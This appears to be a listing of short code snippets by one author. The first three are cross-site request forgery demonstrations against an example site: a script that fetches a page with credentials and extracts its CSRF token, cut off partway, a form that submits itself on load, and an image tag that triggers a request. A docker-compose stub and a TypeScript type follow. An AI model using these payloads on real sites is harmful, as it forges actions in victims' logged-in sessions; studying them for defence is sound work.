SteveLTN

<script>
  const url = 'http://site.alice.com/posts'

  fetch(url, { method: "GET", credentials: 'include' }).
  then((response) => response.text()).
  then((body) => {
    const re = new RegExp('<meta name="csrf-token" content="(.*)" />')
    const csrfToken = re.exec(body)[1]

    return csrfToken

SteveLTN

<form class="new_post" id="new_post" action="http://site.alice.com/posts" accept-charset="UTF-8" method="post">
  <input type="hidden" name="authenticity_token" value="">
  <input id="submit-button" type="submit" name="commit" value="Create Post">
</form>

<script>
  document.getElementById("submit-button").click()
</script>

SteveLTN

<img src="http://site.alice.com/posts/create" alt="">

SteveLTN

version: '3'

services:
  nginx:
    networks:
      - foo

networks:
  foo:
    # driver: xxx

SteveLTN

// With a normal object type
type LocalStorage = {
  user: {
    email: string
    age: number
  }
  company: {
    name: string
  }
}